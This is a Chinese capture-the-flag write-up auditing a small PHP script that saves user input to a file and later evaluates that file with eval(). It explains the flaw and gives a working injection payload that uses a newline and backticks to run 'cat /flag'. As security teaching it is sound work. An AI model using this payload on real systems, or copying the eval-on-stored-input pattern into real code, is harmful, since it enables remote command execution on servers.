代码审计
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧
if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}
如果 mode 的值是 'save',则触发保存数据的操作。
首先,使用 file_get_contents() 函数读取 /tmp/data.json 文件的内容,并将其保存在变量 $data 中。
接下来,使用 addslashes() 函数对 GET 参数中的 value 值进行转义处理,并保存在变量 $value 中。
然后,使用 str_replace() 函数将 $data 中的 ] 替换为 ', '$value'],即在原来的数组末尾添加一个新的元素。
最后,使用 file_put_contents() 函数将修改后的 $data 写入 /tmp/data.json 文件中。
如果 mode 的值是 'read',则触发读取数据的操作。
首先,使用 file_get_contents() 函数读取 /tmp/data.json 文件的内容,并将其保存在变量 $data 中。
接着,使用 eval() 函数将 $data 当作 PHP 代码执行,实现将 JSON 字符串转换为 PHP 数组,并将结果保存在 $data 变量中。
最后,使用 print_r() 函数打印出 $data 数组的内容
首先无疑是eval('$data = ' . $data . ';');
思考怎么绕过前面的$data =这串东西,一个分号就够了,我们data是怎么来的,看一下题目
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
举个例子
来自https://blog.csdn.net/Leaf_initial
addslashes()函数
PHP中addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
也就是我们不能包含这些字符,其实还是比较好找的echo ``或者取反等无参数rce,函数法都可以
mode=save&value=]//%0A;echo%20`cat%20/flag`;//
这个拼接后就是eval($data =[内容]//%0a;echo cat%20/flag
;)